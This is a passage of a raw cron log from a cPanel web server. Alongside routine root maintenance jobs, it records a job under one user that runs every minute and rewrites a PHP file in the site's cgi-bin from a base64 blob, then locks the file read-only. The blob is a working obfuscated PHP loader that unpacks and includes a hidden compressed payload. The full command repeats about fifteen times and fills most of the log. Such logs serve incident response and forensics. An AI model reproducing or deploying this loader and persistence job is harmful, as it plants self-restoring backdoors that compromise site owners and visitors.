TskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:05:01 server CROND[12816]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 15:05:01 server CROND[12818]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:05:01 server CROND[12817]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:05:01 server CROND[12819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:06:01 server CROND[13012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:07:01 server CROND[13067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:08:01 server CROND[13109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:09:01 server CROND[13156]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 15:09:01 server CROND[13157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:10:01 server CROND[13213]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:10:01 server CROND[13215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 15:10:01 server CROND[13216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:10:01 server CROND[13214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:11:01 server CROND[13417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:12:01 server CROND[13486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:12:01 server CROND[13487]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 15:13:01 server CROND[13536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:14:01 server CROND[13634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:15:01 server CROND[13691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:15:01 server CROND[13692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:15:01 server CROND[13694]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:16:01 server CROND[13922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:17:01 server CROND[13994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
